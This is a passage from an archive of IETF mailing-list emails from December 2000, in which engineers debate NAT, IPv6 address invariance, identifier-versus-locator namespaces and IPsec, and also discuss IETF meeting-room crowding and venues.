we appear to have adopted an approach which is not far removed from the provider address hierarchy structure of V4 today. My lurking concern is that it is not working in the V4 routing system given the large percentage of table entries which are more specific advertisements of aggregate announcments (approx 40%) and it won't work for V6 either (using the term 'work' very loosely in terms of being able to route accurately, efficiently and with a clear scaling property). It appears that the intended address structure and deployment structure appear to be at variance, and when that happens the temptation to alter the address in flight to suit each local region's environment may well be overwhelming. So I'd prefer to keep my blood to myself, thanks as its a contract I suspect we'll break within the operations environment. (and no I don't think that this would be a clever move, and yes, we will regret it afterwards.) From owner-ietf-outbound Mon Dec 18 15:40:39 2000 Received: by ietf.org (8.9.1a/8.9.1a) id PAA14982 for ietf-outbound.10@ietf.org; Mon, 18 Dec 2000 15:40:02 -0500 (EST) Received: from mako1.telstra.net (mako1.telstra.net [203.50.0.28]) by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA14877 for ; Mon, 18 Dec 2000 15:37:34 -0500 (EST) Received: from tecra.telstra.net (gunk.telstra.net [203.10.60.2]) by mako1.telstra.net (8.9.2/8.9.2) with ESMTP id HAA30480; Tue, 19 Dec 2000 07:35:18 +1100 (EST) (envelope-from gih@telstra.net) Message-Id: <4.3.2.7.2.20001219073429.00abb800@jumble.telstra.net> X-Sender: gih@jumble.telstra.net X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Tue, 19 Dec 2000 07:35:24 +1100 To: iab@iab.org From: Geoff Huston Subject: Re: NATs *ARE* evil! Cc: ietf@ietf.org Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Loop: ietf@ietf.org At 12/18/00 01:07 PM -0500, Theodore Y. Ts'o wrote: >The flaw in your argument is that you're assuming that the only reason >to do NAT is because of the address space problem. My concern is that >it may turn out that some transport/routing people may conclude that we >may also need to do NAT to solve the routing problem. In which case, >we're back to where we started. > >I'd feel a lot better if we could get key routing/transport people to >sign some contract in blood stating that the IPV6 address is guaranteed >to be invariant, and that any attempt to design boxes which muck with >the IPV6 address in transit is architecturally out of bounds. That may >seem to you to be obviously true, but I 10 years ago we assumed the same >would be true for IPV4 addresses. I'm not sure that this is possible - part of the characteristics of today's Internet is that its is flattening out. The concept of hierarchical connectivity with 'upstreams' and 'downstreams' is one which appears to have relied on a high marginal cost of communications services. Now as I understand the current deployment plan there are TLAs and sub TLAs, and an apparent hierarchical view of the world again. Imagine, for a second, what the topology of the Internet would be if communications services were free. Now turn up the unit cost knob an little and do the same thought experiment. Part of the issue we faced in the Big Internet discussions, and part of the issue we face now is the semantics of the address and the level to which these semantics are overloaded. Is an address an identification of identity? A key to absolute location? A key to relative location? An encoding of the local topology? My concern, and the reason why I'm chiming on Ted's signing blood proposal is that in looking at the structure of V6 addresses, at least the structure of the immediate deployment 1/4 or so of the addresses, we appear to have adopted an approach which is not far removed from the provider address hierarchy structure of V4 today. My lurking concern is that it is not working in the V4 routing system given the large percentage of table entries which are more specific advertisements of aggregate announcments (approx 40%) and it won't work for V6 either (using the term 'work' very loosely in terms of being able to route accurately, efficiently and with a clear scaling property). It appears that the intended address structure and deployment structure appear to be at variance, and when that happens the temptation to alter the address in flight to suit each local region's environment may well be overwhelming. So I'd prefer to keep my blood to myself, thanks as its a contract I suspect we'll break within the operations environment. (and no I don't think that this would be a clever move, and yes, we will regret it afterwards.) From owner-ietf-outbound Mon Dec 18 16:00:15 2000 Received: by ietf.org (8.9.1a/8.9.1a) id QAA15432 for ietf-outbound.10@ietf.org; Mon, 18 Dec 2000 16:00:03 -0500 (EST) Received: from gungnir.fnal.gov (gungnir.fnal.gov [131.225.80.1]) by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA15369 for ; Mon, 18 Dec 2000 15:58:51 -0500 (EST) Received: from gungnir.fnal.gov (localhost [127.0.0.1]) by gungnir.fnal.gov (8.9.1/8.9.1) with ESMTP id OAA01927 for ; Mon, 18 Dec 2000 14:58:51 -0600 (CST) Message-Id: <200012182058.OAA01927@gungnir.fnal.gov> To: ietf@ietf.org From: "Matt Crawford" Subject: Re: NATs *ARE* evil! In-reply-to: Your message of Sun, 17 Dec 2000 12:15:53 EST. <200012171715.MAA21559@ginger.lcs.mit.edu> Date: Mon, 18 Dec 2000 14:58:51 -0600 Sender: crawdad@gungnir.fnal.gov X-Loop: ietf@ietf.org > > What is technically wrong with v6 that isn't already technically wrong > > with v4? > > Thank you, Perry, you've put it in a nutshell. > Noel Excellent. We've agreed that IPv6's problems are a subset of IPv4's. Now until we have a concrete design proposal for a perfect world, can we drop that particular line of taunting? From owner-ietf-outbound Mon Dec 18 17:50:38 2000 Received: by ietf.org (8.9.1a/8.9.1a) id RAA17114 for ietf-outbound.10@ietf.org; Mon, 18 Dec 2000 17:50:02 -0500 (EST) Received: from enso.acheron.indranet.co.nz (210-54-239-210.ipnets.xtra.co.nz [210.54.239.210]) by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA16837 for ; Mon, 18 Dec 2000 17:39:27 -0500 (EST) Received: (from john@localhost) by enso.acheron.indranet.co.nz (8.9.3/8.9.3) id LAA02951; Tue, 19 Dec 2000 11:39:20 +1300 X-Authentication-Warning: enso.acheron.indranet.co.nz: john set sender to john@indranet.co.nz using -f To: iab@iab.org, ietf@ietf.org Subject: Re: NATs *ARE* evil! References: <200012181748.MAA02050@tsx-prime.MIT.EDU> X-Face: <3gSGFih'_qo>Rvw%PqV{+z{|#*vuo#CvHdC;Kqd[=]jR}|G1%-@:h<[:sH+[*JmZ/e+]o )U|J7atpc._&6lG.E`kx)@zVM9l'yo3J[~~Lh&V_SO+%52KX0?TTwZ mx%BrD$VykE;%i9}p|-@ From: John Collis Date: 19 Dec 2000 11:39:19 +1300 In-Reply-To: "Theodore Y. Ts'o"'s message of "Mon, 18 Dec 2000 12:48:06 -0500" Message-ID: Lines: 41 User-Agent: Gnus/5.0807 (Gnus v5.8.7) XEmacs/21.1 (Channel Islands) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Loop: ietf@ietf.org "Theodore Y. Ts'o" writes: > It would be *awfully* convenient if we declare up front that something > is the "end point identifier" (i.e., "who"), and is forever exempt from > being changed by intermediate routing entities, and if necessary, > something is else the routing component (i.e., "where"), which can > change. This "end point identifer" should have a canonical form, which > means that using the DNS name, as some have suggested, probably isn't > ideal. For better or worse, people are too used to playing DNS games > where foo.g.akamai.com (for example) isn't necessarily the same host, > regardless of where you are in the network. This is true. To do this though really requires some re-architecting of the current Internet model, based on "first principles". In particular, there is not a sufficient "name space" for what we are often currently trying to do - hence the "akamai" type of trick. Currently we have a situation where the defined name spaces are not sufficient for truly identifying the end points of a routed connection. IP addresses are therefore there for routing purposes. However a number of situations can now occur so that the IP address is not sufficient to name all situations. A host can be multi-homed, partially disconnected or mobile and then things start getting ugly. We need to look at this. I believe that we are now already overloading the useful set of meanings that one can attach to an IP address (somewhat analogous to the presentation from Randy Bush at the plenary session on DNS). One can see actually, that some of the current issues to do with Mobility, Multi-homing, NATs and the DNS are all related to an architectural complexity that was never considered in the original architecting of the Internet. (This is not a criticism, merely an observation based on a view 20 years later). Cheers, -- John Collis - Director Technology Development IndraNet Technologies Ltd. Email: john@indranet.co.nz Web: http://www.indranet-technologies.com/ From owner-ietf-outbound Mon Dec 18 18:00:13 2000 Received: by ietf.org (8.9.1a/8.9.1a) id SAA17277 for ietf-outbound.10@ietf.org; Mon, 18 Dec 2000 18:00:02 -0500 (EST) Received: from pescado.lanl.gov (cx133708-a.ocnsd1.sdca.home.com [24.20.238.239]) by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA17002 for ; Mon, 18 Dec 2000 17:45:10 -0500 (EST) Received: from localhost (localhost [127.0.0.1]) by pescado.lanl.gov (Postfix) with ESMTP id ED18221681; Mon, 18 Dec 2000 14:45:08 -0800 (PST) Date: Mon, 18 Dec 2000 14:45:08 -0800 (PST) From: Mike Fisk To: "Theodore Y. Ts'o" Cc: "Perry E. Metzger" , Keith Moore , Jon Crowcroft , smd@EBONE.NET, iab@iab.org, ietf@ietf.org Subject: Re: NATs *ARE* evil! In-Reply-To: <200012181807.NAA02116@tsx-prime.MIT.EDU> Message-ID: X-Homepage: http://home.lanl.gov/mfisk/ MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Loop: ietf@ietf.org On Mon, 18 Dec 2000, Theodore Y. Ts'o wrote: > My concern is that it may turn out that some transport/routing people > may conclude that we may also need to do NAT to solve the routing > problem. In which case, we're back to where we started. > > I'd feel a lot better if we could get key routing/transport people to > sign some contract in blood stating that the IPV6 address is guaranteed > to be invariant, and that any attempt to design boxes which muck with > the IPV6 address in transit is architecturally out of bounds. That may > seem to you to be obviously true, but I 10 years ago we assumed the same > would be true for IPV4 addresses. Gateways that surreptitiously modify packets can break ANY end-to-end protocol no matter what layer it's at. Assume that we sacrifice IP addresses as not necessarily end-to-end. Fine, there are gateways that need to modify your TCP ports too. Okay, sacrifice make it so ports aren't covered by e2e assumptions like IPsec. Fine, there are gateways that do ACK spoofing. Okay, sacrifice all header data and assume that only payload is e2e. Whoops, even the payload has to be modified by some gateways. The hypothesis that you can have these gateways and have any part of the packet be guaranteed to be e2e is false. But I don't think these gateways are evil and should (or could) be forbidden. My hypothesis is that end applications have to know that these gateways exist. They shouldn't be surreptitiously transparent; they should be discoverable and applications should be aware of how high in the protocol stack that gateway reaches. Take the hardest problem, a gateway that reaches all the way up to the application layer to do content inspection. The application has to make a trust decision about whether or not it is willing to negotiate a key with that gateway that will let it decrypt the data. Otherwise, the gateway may refuse to pass the traffic. So the application consents, a protocol library provides the gateway with a decryption key, and the application annotates the little padlock in the corner of the user's screen appropriately. If so desired, the application can implement a policy that the decrypted form of the user's credit card number won't be provided to any proxy or endpoint that doesn't have a certificate signed by Visa's credit card practices review authority. Take an intermediate problem. Assume that only address and port translation are required by the gateway. The application can therefore assume e2e payload authenticity and privacy, but cannot assume e2e privacy of its ports. So that means that the coverage and keying of IPsec and TLS needs to be negotiable based on the policies of intervening gateways (middleboxes). And that, of course, if predicated on the ability to locate middleboxes. Given our inability to rule out the need for gateways that change IP addresses (or other routing headers), this leads to the conclusion that applications shouldn't use any header field (IP address, port, etc.) for authentication. > If it turns out that we need some kind of routing identifier in the IPV6 > address, whether it's the dreaded 8+8 scheme, or adding another 16 byte > value in the header which router are free to muck with to our heart's > content, at some level, whatever, I don't care. I'm security guy, not a > routing guy, so I don't know what will work the best, and at some level, > I don't care --- just so long as it works, and that we have something > which *everyone* agrees will be an invariant end-point identifier, now > and forever, world without end, Amen. > > Otherwise, 5-7 years from now, we'll be using IPV6, and there will be a > need for some kind of routiing-gw/NAT boxes, and people will *still* be > complaning that it's all IPSEC's fault that IPSEC doesn't work through > NAT boxes, and the anti-NAT people will be complaining that the NAT > folks have changed the rules again. And all that work which the IPV6 > rollout folks have put into that project will in the end be for naught. As far as naming (who) versus routing (where) is concerned, endpoint naming seems as problematic as user naming is for X.509, etc. Why not apply the theory that a participant can be uniquely identified (but not necessarily located) by its key(s) and that no fixed mapping to or from a globally unique name (IP address) is necessary? Let's say a user sees a billboard and wants to communicate with what the billboard calls "www.cheapwidgets.com". Given a uniformly accepted DNS root or .com TLD, I would argue that DNSSEC can provide the verifiable chain to the key known as (.com's cheapwidgets's www). It will also provide a mapping to the current routing address (which could be a point of aggregation that knows a better local address). More sophisticated directory services (or SIP servers) can provide the same secure mapping to a key and/or DNS name. -- Mike Fisk, RADIANT Team, Network Engineering Group, Los Alamos National Lab See http://home.lanl.gov/mfisk/ for contact information From owner-ietf-outbound Mon Dec 18 18:10:17 2000 Received: by ietf.org (8.9.1a/8.9.1a) id SAA17494 for ietf-outbound.10@ietf.org; Mon, 18 Dec 2000 18:10:02 -0500 (EST) Received: from dokka.maxware.no (dokka.maxware.no [195.139.236.69]) by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA17250 for ; Mon, 18 Dec 2000 17:59:50 -0500 (EST) Received: from HALVESTR-8KCDT.alvestrand.no (localhost [127.0.0.1]) by dokka.maxware.no (8.9.3/8.9.3) with ESMTP id XAA06332; Mon, 18 Dec 2000 23:59:02 +0100 Message-Id: <4.3.2.7.2.20001218144907.026834a8@127.0.0.1> X-Sender: hta@127.0.0.1 X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Mon, 18 Dec 2000 14:49:46 -0800 To: Andrew Rutherford , John C Klensin From: Harald Alvestrand Subject: Re: What is the IETF? -- A note of caution Cc: ietf@ietf.org In-Reply-To: References: <1916212408.976873788@localhost> <1916212408.976873788@localhost> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Loop: ietf@ietf.org At 14:02 18/12/2000 +1030, Andrew Rutherford wrote: >At 09:49 -0500 15/12/00, John C Klensin wrote: > >>I don't think company names on badges are harmful, and they do >>help us identify each other (otherwise, we could carry the >>principle to the limits and leave the names off too, replacing >>them with randomly-assigned numbers). > >So what about replacing company names on badges with email addresses? > >That might allow one to infer company affiliation if the wearer lists an >address with a company component. Given most of us know each other via >email address, and may wish to follow up a "hallway conversation" with >email, it's possibly more functional. Personally, I like having organizations on nametags. It is quite often the way in which I find out that old friends have changed jobs. -- Harald Tveit Alvestrand, alvestrand@cisco.com +47 41 44 29 94 Personal email: Harald@Alvestrand.no From owner-ietf-outbound Mon Dec 18 18:20:15 2000 Received: by ietf.org (8.9.1a/8.9.1a) id SAA17673 for ietf-outbound.10@ietf.org; Mon, 18 Dec 2000 18:20:03 -0500 (EST) Received: from lint.cisco.com (lint.cisco.com [171.68.224.209]) by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA17442 for ; Mon, 18 Dec 2000 18:06:24 -0500 (EST) Received: from cisco.com (dhcp-2sjc13-85-244.cisco.com [171.70.85.244]) by lint.cisco.com (8.8.6 (PHNE_14041)/CISCO.SERVER.1.2) with ESMTP id PAA06056; Mon, 18 Dec 2000 15:05:51 -0800 (PST) Message-ID: <3A3E984D.5F8B342D@cisco.com> Date: Mon, 18 Dec 2000 15:05:49 -0800 From: Eliot Lear Reply-To: lear@cisco.com X-Mailer: Mozilla 4.73 [en]C-CCK-MCD (Win95; U) X-Accept-Language: en MIME-Version: 1.0 To: ietf@ietf.org, sob@harvard.edu Subject: CORRECTION: Middleware/Middle Boxes Architecture List information Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit I know, this is completely silly, but the subscription email address I gave out previously is not working. The correct subscription and list information is as follows: List name: march@external.cisco.com Subscribe: mailer@cisco.com While the service is run by majordomo, the majordomo alias does not exist. Again, the topic of this list will be focused on the architecture, diagnosis, and discovery of devices in the middle of the network, so that the applications could then communicate with them, or otherwise report errors to their users. This work is complimentary to the MIDCOM working group. My apologies for the confusion. -- Eliot Lear lear@cisco.com From owner-ietf-outbound Mon Dec 18 19:10:22 2000 Received: by ietf.org (8.9.1a/8.9.1a) id TAA18548 for ietf-outbound.10@ietf.org; Mon, 18 Dec 2000 19:10:02 -0500 (EST) Received: from windlord.worldwidepackets.com ([12.46.89.6]) by ietf.org (8.9.1a/8.9.1a) with SMTP id TAA18479 for ; Mon, 18 Dec 2000 19:01:31 -0500 (EST) Received: by windlord.worldwidepackets.com with Internet Mail Service (5.5.2653.19) id ; Mon, 18 Dec 2000 16:01:22 -0800 Message-ID: <32A27D619DB0154C963D55F14552019D16D627@windlord.worldwidepackets.com> From: Matthew Goldman To: "'Randall Gellens'" , Daniel Senie , Michael Richardson Cc: ietf@ietf.org Subject: RE: 49th-IETF conf room planning Date: Mon, 18 Dec 2000 16:01:21 -0800 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" X-Loop: ietf@ietf.org > From: Randall Gellens [mailto:randy@qualcomm.com] > Sent: Saturday, December 16, 2000 4:42 PM > To: Daniel Senie; Michael Richardson > Cc: ietf@ietf.org > Subject: Re: 49th-IETF conf room planning > > At 9:32 PM -0500 12/13/00, Daniel Senie wrote: > > > I am starting to wonder if we're going to have to hold the meetings > > primarily in Las Vegas. > > I fervently hope not. Las Vegas is the tobacco smoking capital of > the U.S. -- higher rates than anywhere else in the country, including > areas where they grow the stuff. It is also very hard to find good > quality food (but is awash in cheap buffets). Sorry, but I'd prefer Vegas vs. not being able to attend half of the meetings I planned to in San Diego simply because there was not enough space. I was very dishardened by this, and hope the meeting planners are able to plan for 3000+ attendees for future meetings. The smoking is very bad, I agree. However, the IETF could absolutely designate our meeting rooms as non-smoking. The ventilation systems are outstanding (for obvious reasons), so any lingering smoke will be gone. I wholeheatedly disagree with you regarding the food. Some of the finest restaurants in the U.S. are located there. Sure, for lunch, we'd likely have to eat at the local buffet or "semi fast" food shops unless special arrangements are made by the IETF. After a week of lunches at the Sheraton San Diego, though, a buffet would be no worse, IMO. But for dinner, the sky is the limit. All prices ranges and all levels of quality. Not hard to find any place to meet your needs. I also disagree with you regarding hotel rates. Pre-negotiated block rates for meetings are around the same price as we paid in San Diego for a similar type of hotel (clearly, Vegas hotels are both much better than and much worse than the Sheraton San Diego). The only time hotel rooms are extremely high is for major expositions -- like Comdex, Consumer Electronics Show, etc -- because those rooms are not booked as blocks. The hotels jack up the prices for those weeks. I've been to Vegas on a non-convention week and got a hotel room for $70/night vs. $180/night for the same room during Comdex. It would be up to the IETF to negotiate for 2000-3000 rooms; that's a lot of buying power. If they can't get reasonable rates, then we don't go there. Having a locale where every attendee is able to have a seat -- comfortably -- should be a primary concern. Vegas should be considered. Matthew Goldman World Wide Packets From owner-ietf-outbound Mon Dec 18 19:20:15 2000 Received: by ietf.org (8.9.1a/8.9.1a) id TAA18716 for ietf-outbound.10@ietf.org; Mon, 18 Dec 2000 19:20:02 -0500 (EST) Received: from rip.psg.com (exim@rip.psg.com [147.28.0.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id TAA18522 for ; Mon, 18 Dec 2000 19:09:25 -0500 (EST) Received: from randy by rip.psg.com with local (Exim 3.16 #1) id 148ALJ-00010v-00; Mon, 18 Dec 2000 16:09:21 -0800 From: Randy Bush MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: "Matt Crawford" Cc: ietf@ietf.org Subject: Re: NATs *ARE* evil! References: <200012171715.MAA21559@ginger.lcs.mit.edu> <200012182058.OAA01927@gungnir.fnal.gov> Message-Id: Date: Mon, 18 Dec 2000 16:09:21 -0800 Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit > Excellent. We've agreed that IPv6's problems are a subset of IPv4's. unfortunately, we have not shown it is a proper subset. e.g. the larger address space may exacerbate issues already causing problems in v4, such as the increasing number of routes. and i am not 'taunting' but trying to see how the hell we can solve some of the serious problems we have today and not take them with us to the v6 land of milk and honey, e.g. the multi6 discussion. if we don't get much smarter quickly, we'll just be making the same mess on a larger (in one dimension) scale. we need to take a very serious look at 8+8 again. we need to be open to other good ideas. what we don't need is more pissing contests and cute blame-casting, from either side. the fact is that there are no sides, as we're all in the same mess today, and likely will be together in the same can-we-avoid-a-mess tomorrow. it's called the internet. randy From owner-ietf-outbound Mon Dec 18 20:40:25 2000 Received: by ietf.org (8.9.1a/8.9.1a) id UAA19595 for ietf-outbound.10@ietf.org; Mon, 18 Dec 2000 20:40:01 -0500 (EST) Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6]) by ietf.org (8.9.1a/8.9.1a) with SMTP id UAA19508 for ; Mon, 18 Dec 2000 20:32:00 -0500 (EST) Received: from grubby.research.bell-labs.com ([135.104.2.9]) by dirty; Mon Dec 18 20:30:21 EST 2000 Received: from mail1.pa.bell-labs.com ([135.250.8.11]) by grubby; Mon Dec 18 20:30:21 EST 2000 Received: from research.bell-labs.com (gja.lra.lucent.com [135.255.18.228]) by mail1.pa.bell-labs.com (Mirapoint) with ESMTP id AAA02065 (AUTH gja); Mon, 18 Dec 2000 17:30:18 -0800 (PST) Message-ID: <3A3EBA7C.67EE7CEB@research.bell-labs.com> Date: Mon, 18 Dec 2000 17:31:40 -0800 From: Grenville Armitage Organization: Bell Laboratories, Lucent Technologies X-Mailer: Mozilla 4.61 [en] (WinNT; U) X-Accept-Language: en MIME-Version: 1.0 To: ietf@ietf.org Subject: Re: Congestion control References: <5.0.1.4.2.20001215183540.041a81f0@joy.songbird.com> <14905.24219.694732.170219@localhost.localdomain> <5.0.1.4.2.20001215183540.041a81f0@joy.songbird.com> <4.3.2.7.2.20001218101622.020f3b90@mailhost.iprg.nokia.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit wait for the Assured Seating (AS) Per Hotel Behavior (PHB) with multiple drop precedence levels.... badges are marked on ingress to the room based on willingness to work... the chair drops people marked "dead weight" first as the room fills.... in order to come up with another diffserv-related acronym, sophisticated chairs use reverse RED (Read Every Draft) to boot out those who havent. cheers, gja Bob Hinden wrote: > > I find it amusing that this debate on how to handle "congestion" at IETF > meetings mirrors the technical debate on congestion in the Internet. The > two sides still seem to be "more bandwidth" or "apply QOS". > > Bob -- ________________________________________________________________________ Grenville Armitage http://members.home.net/garmitage/ Bell Labs Research Silicon Valley From owner-ietf-outbound Mon Dec 18 21:00:12 2000 Received: by ietf.org (8.9.1a/8.9.1a) id VAA19846 for ietf-outbound.10@ietf.org; Mon, 18 Dec 2000 21:00:01 -0500 (EST) Received: from Mail6.mgfairfax.rr.com (fe6.southeast.rr.com [24.93.67.53]) by ietf.org (8.9.1a/8.9.1a) with SMTP id UAA19783 for ; Mon, 18 Dec 2000 20:54:10 -0500 (EST) Received: from mosquito.inet.org ([24.168.212.166]) by Mail6.mgfairfax.rr.com with Microsoft SMTPSVC(5.5.1877.537.53); Mon, 18 Dec 2000 20:54:08 -0500 Message-Id: <5.0.0.25.2.20001218204046.009e1250@gnat.inet.org> X-Sender: rja@gnat.inet.org X-Mailer: QUALCOMM Windows Eudora Version 5.0 Date: Mon, 18 Dec 2000 20:45:43 -0500 To: smd@ebone.net (Sean Doran) From: RJ Atkinson Subject: RE: NATs *ARE* evil! Cc: ietf@ietf.org In-Reply-To: <20001215184418.3C3F3898@sean.ebone.net> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-Loop: ietf@ietf.org At 13:44 15/12/00, Sean Doran wrote: >Surely the "much pain" is because, as Melinda Shore indicates, >some "anti-NAT fanatics" cannot understand the distinction >between "who" and "where"? I fancy that I know one or two things about ESP and AH. Your analysis is Wrong. The pain has nothing to do with fanatics of any sort. The root issue with ESP/AH and NAT is that the Internet Architecture does not currently have a sufficiently rich set of namespaces. In the world of the current Internet Architecture, ESP and AH are forced to bind SAs to addresses. In a different world, they might be able to bind SAs to a different name. Some folks are exploring which, if any, additional namespaces might make sense to add to the architecture. As this is research, not engineering, it is largely happening in the IRTF for now. If something comes of it, no doubt an I-D or two will appear online for perusal... Ran From owner-ietf-outbound Mon Dec 18 21:10:09 2000 Received: by ietf.org (8.9.1a/8.9.1a) id VAA19969 for ietf-outbound.10@ietf.org; Mon, 18 Dec 2000 21:10:03 -0500 (EST) Received: from Mail6.mgfairfax.rr.com (fe6.southeast.rr.com [24.93.67.53]) by ietf.org (8.9.1a/8.9.1a) with SMTP id UAA19803 for ; Mon, 18 Dec 2000 20:58:00 -0500 (EST) Received: from mosquito.inet.org ([24.168.212.166]) by Mail6.mgfairfax.rr.com with Microsoft SMTPSVC(5.5.1877.537.53); Mon, 18 Dec 2000 20:58:00 -0500 Message-Id: <5.0.0.25.2.20001218204645.009e1420@gnat.inet.org> X-Sender: rja@gnat.inet.org X-Mailer: QUALCOMM Windows Eudora Version 5.0 Date: Mon, 18 Dec 2000 20:49:35 -0500 To: John Collis From: RJ Atkinson Subject: Re: NATs *ARE* evil! Cc: ietf@ietf.org In-Reply-To: References: <"Theodore Y. Ts'o"'s message of "Mon, 18 Dec 2000 12:48:06 -0500"> <200012181748.MAA02050@tsx-prime.MIT.EDU> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-Loop: ietf@ietf.org At 17:39 18/12/00, John Collis wrote: >This is true. To do this though really requires some re-architecting >of the current Internet model, based on "first principles". Yes. >In particular, there is not a sufficient "name space" for what we are >often currently trying to do - hence the "akamai" type of trick. Yes. >Currently we have a situation where the defined name spaces are >not sufficient for truly identifying the end points of a routed >connection. IP addresses are therefore there for routing >purposes. However a number of situations can now occur so that >the IP address is not sufficient to name all situations. A host >can be multi-homed, partially disconnected or mobile and then >things start getting ugly. Quite right. >We need to look at this. I believe that we are now already overloading the useful set of meanings that one can attach >to an IP address (somewhat analogous to the presentation >from Randy Bush at the plenary session on DNS). IRTF NSRG is looking at this. Research from folks not involved in the NSRG would also be time well spent, IMHO. I suspect there are some theses lurking in this area, for those who might be of an academic bent. Cheers, Ran rja@inet.org From owner-ietf-outbound Mon Dec 18 21:40:52 2000 Received: by ietf.org (8.9.1a/8.9.1a) id VAA21248 for ietf-outbound.10@ietf.org; Mon, 18 Dec 2000 21:40:02 -0500 (EST) Received: from sj-msg-core-2.cisco.com (sj-msg-core-2.cisco.com [171.69.43.88]) by ietf.org (8.9.1a/8.9.1a) with SMTP id VAA20212 for ; Mon, 18 Dec 2000 21:30:25 -0500 (EST) Received: from p7020-img-nt.cisco.com (fred-hm-dhcp1.cisco.com [171.69.128.116]) by sj-msg-core-2.cisco.com (8.9.3/8.9.1) with ESMTP id SAA10209; Mon, 18 Dec 2000 18:29:59 -0800 (PST) Message-Id: <5.0.2.1.2.20001218174633.02c12cb0@flipper.cisco.com> X-Sender: fred@flipper.cisco.com X-Mailer: QUALCOMM Windows Eudora Version 5.0.2 Date: Mon, 18 Dec 2000 17:55:02 -0800 To: Bob Hinden From: Fred Baker Subject: Re: Congestion control Cc: ietf@ietf.org In-Reply-To: <4.3.2.7.2.20001218101622.020f3b90@mailhost.iprg.nokia.com> References: <5.0.1.4.2.20001218085100.03cb5360@joy.songbird.com> <5.0.1.4.2.20001215183540.041a81f0@joy.songbird.com> <14905.24219.694732.170219@localhost.localdomain> <5.0.1.4.2.20001215183540.041a81f0@joy.songbird.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Loop: ietf@ietf.org At 10:20 AM 12/18/00 -0800, Bob Hinden wrote: >I find it amusing that this debate on how to handle "congestion" at IETF >meetings mirrors the technical debate on congestion in the Internet. The >two sides still seem to be "more bandwidth" or "apply QOS". Actually, there are three avenues under discussion. "More bandwidth", and "ensuring access for the critical participants" are the ones you mentioned. The third is "apply random early detection with sufficient force to ensure that the meeting fits in the room." Reality, IMHO, involves some elements of each of the above. Our experience has been that we do indeed get the largest venues we can consistent with the projected attendance, and we do in fact ask people to let the folks who have read and posted drafts get in the room. BOFs are often decided weeks in advance, while venues must be contracted months to years in advance, and people decide what to attend as little as minutes before entering the room. I get impatient with the summary dismissal of people as "tourists", but in point of fact when I have ten contributors in a room that will hold 100 and I have another hundred telling me that "the conference attendance is 2700, divide by 8 and make sure that every room will hold that number of people", I do begin to wonder whether every single one of those people is in fact critical to conducting the meeting. From owner-ietf-outbound Mon Dec 18 22:50:15 2000 Received: by ietf.org (8.9.1a/8.9.1a) id WAA22796 for ietf-outbound.10@ietf.org; Mon, 18 Dec 2000 22:50:02 -0500 (EST) Received: from torque.pothole.com ([38.138.52.132]) by ietf.org (8.9.1a/8.9.1a) with SMTP id WAA22773 for ; Mon, 18 Dec 2000 22:49:47 -0500 (EST) Received: from localhost (localhost [127.0.0.1]) by torque.pothole.com (8.8.2/8.8.8) with SMTP id WAA27314 for ietf@ietf.org; Mon, 18 Dec 2000 22:54:47 -0500 (EST) Message-Id: <200012190354.WAA27314@torque.pothole.com> X-Authentication-Warning: torque.pothole.com: localhost [127.0.0.1] didn't use HELO protocol To: ietf@ietf.org Subject: Re: NATs *ARE* evil! In-reply-to: Your message of "Mon, 18 Dec 2000 20:45:43 EST." <5.0.0.25.2.20001218204046.009e1250@gnat.inet.org> Date: Mon, 18 Dec 2000 22:54:47 -0500 From: "Donald E. Eastlake 3rd" X-Mts: smtp X-Loop: ietf@ietf.org If DNSSEC were deployed, I see no reason why SAs could not be bound to domain names. Donald From: RJ Atkinson Message-Id: <5.0.0.25.2.20001218204046.009e1250@gnat.inet.org> Date: Mon, 18 Dec 2000 20:45:43 -0500 To: smd@ebone.net (Sean Doran) Cc: ietf@ietf.org In-Reply-To: <20001215184418.3C3F3898@sean.ebone.net> > The root issue with ESP/AH and NAT is that the Internet >Architecture does not currently have a sufficiently rich set >of namespaces. In the world of the current Internet Architecture, >ESP and AH are forced to bind SAs to addresses. In a different >world, they might be able to bind SAs to a different name. Some >folks are exploring which, if any, additional namespaces might >make sense to add to the architecture. As this is research, >not engineering, it is largely happening in the IRTF for now. >If something comes of it, no doubt an I-D or two will appear >online for perusal... > >Ran From owner-ietf-outbound Mon Dec 18 23:00:12 2000 Received: by ietf.org (8.9.1a/8.9.1a) id XAA22986 for ietf-outbound.10@ietf.org; Mon, 18 Dec 2000 23:00:02 -0500 (EST) Received: from hebe.or.intel.com (hebe.or.intel.com [134.134.248.4]) by ietf.org (8.9.1a/8.9.1a) with SMTP id WAA22919 for ; Mon, 18 Dec 2000 22:55:09 -0500 (EST) Received: from condryvaio-desk.intel.com (jfsdun01-071.jf.intel.com [134.134.206.71]) by hebe.or.intel.com (8.9.1a+p1/8.9.1/d: relay.m4,v 1.33 2000/11/21 19:27:27 smothers Exp $) with ESMTP id UAA16279; Mon, 18 Dec 2000 20:07:14 -0800 (PST) Message-Id: <5.0.2.1.2.20001218113057.00af6650@FMSMSX63.fm.intel.com> X-Sender: 